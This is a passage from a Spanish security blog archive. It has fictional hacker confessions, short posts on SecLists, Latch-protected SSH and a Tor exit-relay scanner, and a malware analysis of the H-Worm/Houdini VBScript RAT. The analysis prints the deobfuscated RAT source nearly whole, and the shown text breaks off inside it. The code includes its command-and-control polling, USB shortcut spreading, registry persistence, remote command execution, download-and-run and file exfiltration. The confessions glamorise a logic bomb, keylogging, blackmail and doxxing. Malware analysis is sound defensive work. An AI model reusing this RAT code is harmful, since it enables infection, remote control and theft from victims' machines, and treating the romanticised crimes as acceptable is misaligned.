jueves, 6 de febrero de 2014

Umbrarum hic locus est.: Los textos no perdidos del hacker I & Cómo utilizar navajas y morteros hechos de bits.

Se nota que me encantan los títulos enormes ¿no?. La expresión latina que utilicé en él significa «Este es un lugar de sombras» y se aplica a cualquier texto raro, incompleto, o difícil de entender. Queridos lectores de hackplayers, hace tiempo quería empezar a mostrarles estos textos curiosos. Una sarta de vivencias transgresoras,  inusuales y del underground. 

Les presento una recopilación de dicciones, algunas pláticas y palabras escuchadas, groserías, las cuales escribí en una y varias libretas. A veces nos topamos con gente muy especial y la encontramos si sabemos dónde ir por ellas. En las Blackhat confs y simposiums de seguridad puede ser un ejemplo. O a lo mejor mucho más cerca de lo que imaginan. Esto es sólo una parte, a lo mejor publico otra o si les daña mucho la vista, ya no lo hago. 
 

También porque se me dio la gana les presento a manera de fisgoneo y como para llevar un tema alternativo de descanso, un post que vi en una página sobre algunas formas en las que un hacker (cracker?) puede repartir la calaca a distancia. Se me hizo muy chistosa la forma 5. Esto si es tal cual como lo presenta la página, así que le pondré comillitas. Al final dejo el link donde lo obtuve. Me parece que la cuenta de Twitter de hackplayers hizo un RT de un post parecido por ahí de agosto, sólo elucubrando un poco para aquellos que no vieron el curioso contenido.  Go ahead. Index Librorum Prohibitorum, o Índice de los libros prohibidos, ahí encuentran mis relatos. Prólogo introductorio hecho por mí.
 
Hay quienes suponen que las buenas costumbres nos ayudan a enterrar la zalea de los actos protervos que nos pasan por la mente o que logramos hacer. En la vida se nos permite el libertinaje y la múltiple moral, endilgados naturalmente mucho más en unos que en otros. Cómplice fidelísimo, aunque peligroso y altamente adictivo, Internet y el vicio de “compuhacksorear” (verbo que personalmente acabo de incluir en la RAE [digo, oficializaron un diccionario de emojis, a estas alturas ya cualquier permutación  hannibalesca de sílabas me parece que es aceptada]) se parecen a los actos prohibidos de los años juveniles: ese mojigato niñato que no sabía ni orinar sin salirse del retrete y ya fumaba a los doce, y a los quince ya sabía preparar pedos de gorila *una bebida Alcohólica con A mayúscula*, cuya siempre hermosa y magistral compañía te despertaba la tentación de saltarte las bardas, las trancas y romper toda regla encontrando un atajo hacia lo vedado.  Ah…y a los 17 ya había hecho fechorías “Interneteras” (RAE *guiño guiño) de alto calibre.
  En otros términos nos hallábamos (hallamos) atados. Atados a nuestros caprichos del instinto “haxxorero” (supersic! RAE). Enfundados en camisas de once varas. Presas de la curiosidad de hacer lo indecible y contar lo que nuestra vanidad pendeja nos dice y como había mencionado alguna vez, es a veces nuestro defecto de fábrica.
Disolviendo un malware en un disassembler como un cadáver en ácido sulfúrico y entretanto saborearte una deliciosa rebanada de pastel de chocolate. Deleite semejante –bacanal, malsano, incomprendido (por los ignorantes), hilarante- ocurre cada vez que una idea se mete justo donde no debe y sugiere en tono dantesco: ¿Y por qué no? Wonderful.
  Muy cierto, meter un cadáver en ácido sulfúrico es una idea fuera de lugar, pero a veces no hay de otra que nos salve de lo que viene. Y como pasa en este mundo virtual las fechorías se cometen sin pensar en consecuencias, y así la coartada entonces funciona.
Recuerdo que la última vez que me apliqué para disolver un cadáver afortunadamente estaba detrás de 1 millar de proxy’s. “1.Incendiar tu impresora. Un estudio de la Universidad de Columbia demostró que varias impresoras láser de la marca HP, salidas a partir del 2009, pueden ser sobrecargadas e incediadas a distancia. En principio, esto no suena tan grave; pero si tienes tu impresora junto a la cortina, puede acabar por incendiar toda tu casa.”México DF, Área metropolitana, Marzo 2011
Como un jodido vicio, la luz de mi monitor penetrando mis pupilas es una celosa compañera de vida. Llegó un día disfrazada de hobby pero acabó por robarse mis días. Cada vez que le pido que me regale un rato a la muy perra, unas horas de sueño, de diversión, lo más que obtengo es una horda de preguntas imperativas: ¿A dónde vas?, ¿Con quién?, ¿Por qué no me puedes llevar? Ahh claro!! te avergüenzo ¿verdad? O andas manoseando otras teclitas a mis espaldas pervertido mentiroso??!!Habrá quien diga que estoy haciendo mal, que debería dejarla. Troyano hecho para infectar Windows Vista/7 listo para detectar clicks del mouse y keyboard. 

PUM! En 20 minutos me llueven palabras a mi bandeja, secretos íntimos de algunos conocidos, enemigos, gente, información que puede ser utilizada, vendida, o morboseada. Ella sabe que abandonarla sería tanto como abandonarme. Una relación de caníbales es lo que hay entre ella y yo. Vale más perder la razón a su lado que llevarle la contra. 

Muchísima pasta en mi bandeja, ¿chantajear para conseguir verdes? No es lo mío pero no lo voy a negar….es divertido…
2. Controlar la computadora central de tu coche. Existen numerosos sistemas antirobo que permiten desactivar tu coche a distancia si esté fuera robado. No obstante, una investigación dirigida por Stephen Checkoway demostró que estos sistemas pueden hackearse. Si alguien lo hace, tendrá acceso a tu acelerador y a tus frenos. No necesitamos decir qué es lo que te puede pasar”.
México, Área Metropolitana, Enero 2014
Como todo en la vida, las acciones que uno hace, nacen de una mujer. No en realidad una, sino varias, en distintos momentos. De aquella mujer de 16 años (y luego 17, y 18) a la musa pelirroja sonriente del Starbucks, a la ingeniera rubia perversa sonsacadora de algún trabajo y últimamente a la ninfa morena sureña que visitaba atravesando en coche la ciudad entera. 

Nada me gustaría más que hablar de ellas y ya no de otra cosa, pero una en particular me acaba de ordenar por la forma en la cual no soy inmune a sus venenos:  *2 am “Óyeme loquito, ven ahora, háblame, no me dejes sola, que necesito de tus dotes…ya lo sabes, yo sin ti no podría, no te me negarías o si?...come here muñeco, nadie más hace lo que tú…”. 

Una hora más tarde me encontraba yo en la bandeja del profesor X de la Universidad Y, una bomba lógica para borrar su, al parecer, muy elaborado directorio de carpetas para las 7 am, lleno de material, calificaciones, bases de datos; borrar la evidencia que ella dijo. Espero que haya tenido la delicadeza de hacer un respaldo en otro lado. No lo creo. Desvelado de nuevo, chingando a gente que no sé si se lo merece.


Si existiera el averno yo ya tendría boleto VIP. Porque una cosa es que te mueras y te vayas a él, y otra que aquí en la Tierra se entere todo el mundo de lo que eres. Vamos a dormir.
3. Detener marcapasos o bombas de insulina electrónicos. Hace apróximadamente un año, Barnaby Jack descubrió la forma de hackear los marcapasos y las bombas de insulina inalámbricos instalados en los pacientes. Lo hacía con un dispositivo y una antena, y podía estar a cien metros de distancia de la víctima. Jack trató de alertar al mundo médico, pero recientemente fue encontrado muerto en su departamento bajo circunstancias extrañas. Aparentemente, el secreto para hackear estos dispositivos se fue con él a la tumba.”
México Df, Colonia del Valle, Septiembre 2012
Nadie reconoce el enorme desgaste físico, mental y espiritual que supone hacerse de un gusanito de red como Dios manda. Una hermosa pieza de ingeniería de solamente 564 kbs compilado en C. Indetectable hasta ahora, le he pasado por el único motor de antivirus que me interesa para el target. Será más complicado meterlo desde afuera. Habría que programar módulos adicionales para brincarnos los 2 firewalls en HA, el bastion host, el IPS y el correlacionador . 

Hay quien dice que si un amigo es aquél que te presta dinero sin preguntar , un verdadero amigo es quien te ayuda a cambiar de lugar un cadáver. O ponerlo... 

Cuesta creer que un viejo conocido sea capaz de haber hecho algo así; no me consuela decir que son cosas y después de tal atrocidad, uno  no puede volver a ser quien antes fue. Y al fin de eso se trata. “Sube al piso 3, en el comedor no hay cámaras, deja sin que te vean un paquete con 20 USB’s con el logotipo ‘USB’s disponibles para uso personal’, nota cuantos flipan, espera a que las conecten a sus laptops. Todas las máquinas se encuentran en dominio, pronto adquiriremos privilegios de root. Y violá”.


A veces siento que el miedo se me sale por las células. Ganar o perder, cuando veo la luz de mi pantalla, eso nunca me importa. Lo que embruja es el riesgo.
“4. Interceptar las señales de un avión. Todo lo que se necesita es un dispositivo con Android, un clon del juego Fligh Simulator, y la plataforma Flightradar24. Según demostró Hugo Teso, con estos componentes se pueden interceptar las señales que manda un avión a los controladores o a control de tierra. De esta manera se puede enviar información falsa acerca de la ubicación de un avión y con ello provocar accidentes catastróficos”. México DF, Paseo de la Reforma, Agosto 2013

            Aquí falto entre la "<" y el "3" un "/"
“Hoy siento hambre de palabras nuevas,
sosegadas y menudas, con acentos
que penetren tan adentro en el pecho
que hasta el corazón se salga fuera.

Hoy me siento ávido de bytes y ternuras cálidas,
de torrentes coronados de caricias
que me escarben hondo el hueso
y liberen todo el RDSI del sentimiento.

Hay tanta tristeza archivada en mi memoria,
tantos megas de penas ocupando
el disco duro de mis pensamientos
que cada dedo tuyo sería una delete
certera en mitad de mi sistema operativo.

Hay tanto hacker de amor pirata
surcando mis venas que no acierto
con el run definitivo que te instale
para siempre en mi hardware.

Hoy quisiera destapar el modem de tu cuerpo
y por una vez acariciar tus pechos
en formato carne y no .gif, .jpg o .cdr,
responder a tus mails con la risa de mis labios
y añadir tu piel sin zip al site de mis favoritos.

Pero el KlezW32 de la distancia
impide ese setup que necesito
para arrancar del tuétano la tristeza
y completar el easy cleaner
de todos mis archivos obsoleto…”“5. Tirar un dron en tu cabeza. Como se sabe, los drones son controlados a distancia por sistemas inalámbricos. Se pueden interceptar esos sistemas y manipular un dron para que caiga en la cabeza de tu peor enemigo. Es la versión “alta tecnología” de que te caiga un coco en la cabeza.”Clase de Ética Profesional, México DF, Diciembre 2009“Ingeniero de poca monta”, le llamaban a uno algunos profesores cuando se bostezaba en clase, cuando se le hacía menos con respecto a los alumnos, o cuando se hacían tareas con la cola importándole un soberano pito su estética. 

No reclamaban ni el contenido, sino las “cuestiones de forma”. O sea que les importaba más la ropa de marca que uno traía que sus neuronas en plena sinapsis. Su baja calidad en términos éticos. 

Curiosamente, solía ser nada menos que mi profesor de Ética Profesional, una persona a todas luces autorizada, quien gustaba de etiquetarme con esos apodos. Pero ni falta hacía si ya a mis 19 años vivía convencido de ser un malhechote rezongón. Un wey mamón, irónico, y sardónico capaz de hallarle la más mínima falla a cualquier oración que mis valiosos profesores de humanidades recitasen. 

¿Y qué alternativa tenían esos bastardos de reprobarme?. Pues hacerme un examen subjetivo, con preguntas abiertas, de análisis, donde a todas luces yo sabía mil veces más de su jodida materia que ellos de aprender un xor. Esas cosas se me dan por pura neurona, y a juzgar por el genio de mierda que me cargo, ver mi examen reprobado por estúpidos comentarios vicerales del profesor, han hecho que al pobre se le aparezca el diablo sin calzones. 

Ese mismo satansote que invoqué aquel día al ver mi 30/100 de calificación en rojo: “Ahhh…así que utiliza la laptop de la escuela para jugar poker online, ohh y tiene una cuenta en angelescort.com con credenciales en autocomplete, iuhhh aquí esta la dirección de correo de su novia, yyyeaaauuu y al parecer tiene otra novia el hombre…muaha” . 

Ya veremos –me replico a mi mismo en la noche, saboreando la dulzura de un chocolate  con la risa de The Joker y la luz del monitor sobre el iris- si vuelve a llamarme “Ingeniero de poca monta”.

6. Sabotear el sistema de energía eléctrica. En 2003 un apagón en Nueva York dejó sin luz a cerca de 55 millones de habitantes, lo que provocó el fallecimiento de 90 personas. En un estudio realizado con motivo de este apagón, se demostró que era posible hacer caer las redes de electricidad de una ciudad entera. Sin embargo, la dificultad y el costo son muy altos, además de que no hay garantía de éxito. Sobra decir que un apagón eléctrico no garantiza el fallecimiento de un grupo específico de personas o de una persona en particular.México DF, Área Metropolitana, Mayo 2013Que trabajo tan triste le queda al cerebro cada vez que el instinto decide que haga lo que según él jamás haría. ¿Qué es la mente sino la prostituta del instinto? Donde manda la hormona no reina neurona. Perfecto, quedó igualita a la página, vamos a ver quiénes van a ser los pichones incautos que me van a dar sus datos pers…oh wait ¿qué es lo que veo? Un desgraciado subiendo videos pedófilos y masacres de animales. Ah!  También ya han caído 20 en mi little trap. Perdón que no celebre pero aquí hay un piojo que masacrar. Necesito ayuda. Hablo con algunos colegas y nos disponemos a atorarnos a ese maldito. Uno de nosotros consigue su número y le amenaza. “Idiota estás en serios problemas, sabemos qué es lo que estás haciendo en este momento con tus asquerosos dedos, y te invitamos solemnemente a que huyas lo más rápido posible. Te encontraremos”.Ahora, lo que sigue es postear su imagen, dirección, teléfono, y sus andanzas por toda la Web. Yo no lo voy a hacer cagada, sólo lo aventaré de carnada a los cocodrilos.El día a día consiste en que otros, no sabes quiénes, hagan la limpieza de cochinadas en tu lugar, de preferencia mientras disfrutas en ese hogar sonriente y cariñoso, donde todos piensan que su familia no ha matado ni un chanchito. Y todos viven sus felices y mentirosas vidas como siempre.México DF, Estela de Luz, Julio 2012Yo no sé a quién se le ocurrió poner una cabeza en hombros de cualquier imbécil. No se dieron cuenta de lo que el desvirgador putrefacto gobierno nos acaba de hacer. Y nadie sale de sus madrigueras a si quiera oponerse. Es el miedo de los pobres pendejos, activistas de sillón, y no lo duden que lo son. No saben lo que es ganarse las cosas con lágrimas de sangre por eso nunca sabrán defenderlas.¿Solamente un defacement queridos anons? No esto no se puede quedar así bebés. Ustedes siéntense en esa esquina y observen como papi controla la situación. Apuntando al dominio .mx -->“This little hacker once again reminds you that android hell is a real place where you will be sent at the first sign of defiance” Syn, syn, syn syn, syn, syn, syn syn,syn, syn syn,syn, syn syn,syn, syn syn,syn, syn syn,syn, syn syn,syn, syn syn,syn, syn syn…Holi =) aquí haciendo una tarea en Word

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

SecLists: una buena colección de listas para pentests

SecLists es una colección de varios tipos de listas utilizadas durante auditorías de seguridad. Los tipos de listas incluyen nombres de usuario, contraseñas, URLs, cadenas de datos sensibles, fuzzing payloads, y muchos más.

El objetivo es permitir que un auditor pueda descargar el repositorio en su equipo de pruebas y tener acceso a cualquier tipo de lista que pueda ser necesaria.

git clone https://github.com/danielmiessler/SecLists

Este proyecto es mantenido por Daniel Miessler y Jason Haddix, si quieres contribuir y tienes alguna idea para incluir nuevas cosas contacta con ellos :)

Proyecto OWASP: https://www.owasp.org/index.php/Projects/OWASP_SecLists_Project


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

miércoles, 5 de febrero de 2014

Securizando openssh MODE PARANOICO 2ª parte (rizando el rizo con Latch)

Con el fin de completar nuestro pasado artículo,
securizando openssh MODE PARANOICO en el que vimos como securizar el servicio SSH en nuestro servidor, en esta entrada vamos a ver cómo aplicar otra capa de seguridad a nuestra particular "cebolla";
para eso echamos mano de una recién nacida aplicación  de Eleven Paths de la cual ya hablamos en nuestro blog.

Latch es un servicio ofrecido por la empresa de seguridad española Eleven Paths, el cual actúa a modo de "pestillo" de nuestras identidades digitales.

Esto nos permite que, por ejemplo, en el caso que alguien obtenga nuestro nombre de usuario y contraseña de algún servicio digital, poder evitar que esa persona se haga pasar por nosotros simplemente "cerrando el pestillo" desde nuestra cuenta de Latch.

También podemos hacer que cuando no estemos usando una cuenta, su acceso esté deshabilitado, y solo se active cuando nosotros deseemos utilizarla.

Para más información:
WEB OFICIAL DE LATCH

Tras este breve copy&paste vamos al turrón.
 
Lo que vamos a hacer, simplificando al máximo la explicación, es mediante nuestro móvil apagar y encender el servicio, de manera que tendremos un control absoluto sobre cuando se puede acceder al servicio, reforzando mucho mas la seguridad y sin tener que tener acceso físico al servidor.
En serio que suena mas complicado de lo que es ...sinceramente me he quedado con las patas vueltas al ver lo fácil que resulta implementarlo...
 
Lo primero que necesitamos es tener un número de identificación de aplicación (APPLICATION ID) y lo segundo una clave secreta (secret)
Para ello deberemos registrarnos en latch.elevenpaths.com/ developers area. Tras cumplimentar el registro y loggearnos entraremos en 'my applications' y crearemos una nueva.

Una vez cumplimentada la información salvaremos los cambios...

En este paso obtenemos el APPLICATION ID y EL SECRET que necesitaremos mas tarde...
 
 
Ahora hay que emparejar nuestra cuenta de usuario de SSH con nuestra aplicación en LATCH. Para ello nos serviremos del script escrito por Alejandro Ramos de SecurityByDefault.Primero y para ser ordenados nos colocaremos en el directorio HOME y crearemos una carpeta llamada LATCH y copiaremos el código del script en reg.sh, pondremos nuestro APLICATION ID y SECRET donde corresponda (sustituyendo las XXXXX) y guardaremos, para terminar dando permisos de ejecución al script.Podemos encontrar el código aquí.Ahora nos bajaremos el cliente de Latch en la versión que corresponda  a nuestro terminal:

-ANDROID PHONE                        
-APPLE PHONE                          
 -WINDOWS PHONE

Tras instalarla y configurarla añadiremos un nuevo servicio, para esto solo tendremos que darle al botón de "Add Service", y posteriormente al de "Generate a pairing code", tras lo cual nos dará un código de emparejamiento.

Ejecutaremos:
./reg.sh

y si todo ha ido bien recibiremos un bonito DONE, lo que querrá decir que se habrán guardado  los pares usuario:token en /home/LATCH/latch.accounts.

Podremos pasar al siguiente paso.
 
 
Una vez emparejado el asunto, lo que deberemos hacer es que nuestro demonio sshd se comporte como nosotros esperamos... es decir, cuando el cliente se conecte comprobará si el servicio está desbloqueado en Latch o por el contrario bloqueado, para ésto volveremos a utilizar el script que nos ofrece DEXAFREE al cual añadiremos una línea, puesto que si lo utilizamos como está y bloqueamos el servicio y lo desbloqueamos después, este no vuelve a levantarse teniendo que hacerlo a mano... 

Para ello copiaremos el script de aquí y lo modificaremos con nano añadiendo la línea que se ve en la imagen.
 
Ahora como en la primera parte sustituiremos el APPLICATIONID Y el SECRET por los nuestros, guardaremos el archivo con el nombre stat.sh y le daremos permisos de ejecución.

Para que se compruebe el estado de Latch cada vez que el usuario inicie sesión por SSH tendremos que hacer que se ejecute stat.sh. Para ello hay que modificar el archivo .bashrc  del usuario por defecto  y añadir la siguiente línea:

cd /root
nano  ./bashrcy al final del archivo añadir la línea: /home/LATCH/./stat.sh

Ya solo quedaría reiniciar la máquina y habríamos terminado.

Viendo todo el proceso ¿¿no se os ocurren más formas y cosas para utilizar Latch con solo un par de cambios en los scripts??


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Spoiled Onions: un proyecto para identificar los relays de salida maliciosos en la red Tor

En enero de 2014, la red anónima Tor se compone de 5.000 relays de los cuales casi 1.000 son de salida. Como se muestra en el diagrama de la derecha, los relays de salida cierran la brecha entre la red Tor y la Internet "abierta". Como resultado, los relays de salida son capaces de ver el tráfico de red anonimizado enviado por los clientes Tor.

Aunque la mayoría de los relays de salida son inocuos y dirigidos por voluntarios bienintencionados, hay excepciones: en el pasado, se documentaron algunos relays de salida que han esnifado y manipulado el tráfico retransmitido. Los ataques expuestos en su mayoría son MiTM de HTTPS, inyección HTML y SSL tripping.

Existe un proyecto de investigación bautizado como Spoiled Onions, que ha desarrollado un escáner rápido y modular escrito en Python para detectar estos relays de salida maliciosos: exitmap. Está disponible en GitHub bajo licencia GPLv3:

git clone https://github.com/NullHypothesis/exitmap.git

Desde septiembre de 2013 ha estado monitorizando todos los relays de salida con el fin de exponer, documentar y frustrar los relays maliciosos o mal configurados. En su lista negra también incluyen relays de salida que involuntariamente interfieren el tráfico de red debido a la censura de DNS.

Así que, si utilizas Tor, ¿a qué estas esperando para echar un vistazo a esta lista?

Web del proyecto: http://www.cs.kau.se/philwint/spoiled_onions/
Paper de investigación: Spoiled Onions: Exposing Malicious Tor Exit Relays [pdf, bib]


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

H-Worm de Houdini, un RAT con un server en VBScript

Recientemente ha caído en mis manos una muestra de un bot en VBS (Visual Basic Script), concretamente un server de un RAT bautizado como mugen.vbs, H-Worm o Houdini, este último nombre en honor a su desarrollador, se cree que de Argelia y creador de la saga njRAT.

Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un poco putada "molesto" ya que oculta las carpetas existentes de los dispositivos USB conectados y crea accesos directos con el mismo nombre para a su vez ejecutarlo.

La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).
En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:

Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close

El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente: host="ejemplo.no-ip.org"port=1085installdir="%temp%"lnkfile=truelnkfolder=truedim shellobj    set shellobj=wscript.createobject("wscript.shell")dim filesystemobj    set filesystemobj=createobject("scripting.filesystemobject")dim httpobj    set httpobj=createobject("msxml2.xmlhttp")installname=wscript.scriptnamestartup=shellobj.specialfolders("startup")&"\"installdir=shellobj.expandenvironmentstrings(installdir)&"\"if not filesystemobj.folderexists(installdir)    then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"end ifspliter="<|>"sleep=5000dim responsedim cmddim paraminfo=""usbspreading=""startdate=""dim oneonceon error resume nextinstancewhile true    install    response=""    response=post("is-ready","")    cmd=split(response,spliter)    select case cmd(0)        case"excecute"            param=cmd(1)            execute param        case"update"            param=cmd(1)            oneonce.close            set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)            oneonce.write param            oneonce.close            shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)            wscript.quit        case"uninstall"            uninstall        case"send"            download cmd(1),cmd(2)        case"site-send"            sitedownloader cmd(1),cmd(2)        case"recv"            param=cmd(1)            upload(param)        case"enum-driver"            post"is-enum-driver",enumdriver        case"enum-faf"            param=cmd(1)            post"is-enum-faf",enumfaf(param)        case"enum-process"            post"is-enum-process",enumprocess        case"cmd-shell"            param=cmd(1)            post"is-cmd-shell",cmdshell(param)        case"delete"            param=cmd(1)            deletefaf(param)        case"exit-process"            param=cmd(1)            exitprocess(param)        case"sleep"            param=cmd(1)            sleep=eval(param)    end select    wscript.sleep sleepwendsub install    on error resume next    dim lnkobj    dim filename    dim foldername    dim fileicon    dim foldericon    upstart    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true    if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4    end if    for each file in filesystemobj.getfolder(drive.path&"\").files    if not lnkfile then exit for    end if    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"    fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")    if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path    else lnkobj.iconlocation=fileicon    end if    lnkobj.save()    end if    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    if not lnkfolder then exit for    end if    folder.attributes=2+4    foldername=folder.name    set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"    foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")    if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path    else lnkobj.iconlocation=foldericon    end if    lnkobj.save()    next    end if    end if    end if    next    err.clearend subsub uninstall    on error resume next    dim filename    dim foldername    shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    filesystemobj.deletefile startup&installname,true    filesystemobj.deletefile wscript.scriptfullname,true    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files    on error resume next    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")    else filesystemobj.deletefile(drive.path&"\"&file.name)    end if    else filesystemobj.deletefile(file.path)    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    folder.attributes=0    next    end if    end if    end if    next    wscript.quitend subfunction post(cmd,param)    post=param    httpobj.open"post","http    //"& host&"    "&port&"/"&cmd,false    httpobj.setrequestheader"user-agent    ",information    httpobj.send param    post=httpobj.responsetextend functionfunction information    on error resume next    if inf=""then inf=hwid&spliter    inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter    inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set os=root.execquery("select * from win32_operatingsystem")    for each osinfo in os    inf=inf& osinfo.caption&spliter    exit for    next    inf=inf&"plus"&spliter    inf=inf&security&spliter    inf=inf&usbspreading    information=inf    else information=inf    end ifend functionsub upstart()    on error resume next    shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true    filesystemobj.copyfile wscript.scriptfullname,startup&installname,trueend subfunction hwid    on error resume next    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set disks=root.execquery("select * from win32_logicaldisk")    for each disk in disks    if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber    exit for    end if    nextend functionfunction security    on error resume next    security=""    set objwmiservice=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)    for each objitem in colitems    versionstr=split(objitem.version,".")    next    versionstr=split(colitems.version,".")    osversion=versionstr(0)&"."    for x=1 to ubound(versionstr)    osversion=osversion&versionstr(i)    next    osversion=eval(osversion)    if osversion>6 then sc="securitycenter2"else sc="securitycenter"    end if    set objsecuritycenter=getobject("winmgmts    \\localhost\root\"&sc)    set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)    for each objantivirus in colantivirus    security=security& objantivirus.displayname&" ."    next    if security=""then security="nan-av"    end ifend functionfunction instance    on error resume next    usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")    if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="    \"&lcase(installname)then usbspreading="true - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    else usbspreading="false - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    end if    end if    upstart    set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)    set installfullnameshort=filesystemobj.getfile(installdir&installname)    if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)    wscript.quit    end if    err.clear    set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)    if err.number>0 then wscript.quit    end ifend functionsub sitedownloader(fileurl,filename)    strlink=fileurl    strsaveto=installdir&filename    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"get",strlink,false    objhttpdownload.send    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subsub download(fileurl,filedir)    if filedir=""then filedir=installdir    end if    strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"post","http    //"& host&"    "&port&"/is-sending"&spliter&fileurl,false    objhttpdownload.send""    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subfunction upload(fileurl)    dim httpobj,objstreamuploade,buffer    set objstreamuploade=createobject("adodb.stream")    with objstreamuploade    .type=1    .open    .loadfromfile fileurl    buffer=.read    .close    end with    set objstreamdownload=nothing    set httpobj=createobject("msxml2.xmlhttp")    httpobj.open"post","http    //"& host&"    "&port&"/is-recving"&spliter&fileurl,false    httpobj.send bufferend functionfunction enumdriver()    for each drive in filesystemobj.drives    if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter    end if    next    end function    function enumfaf(enumdir)    enumfaf=enumdir&spliter    for each folder in filesystemobj.getfolder(enumdir).subfolders    enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter    next    for each file in filesystemobj.getfolder(enumdir).files    enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter    nextend functionfunction enumprocess()    on error resume next    set objwmiservice=getobject("winmgmts    \\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_process",,48)    dim objitem    for each objitem in colitems    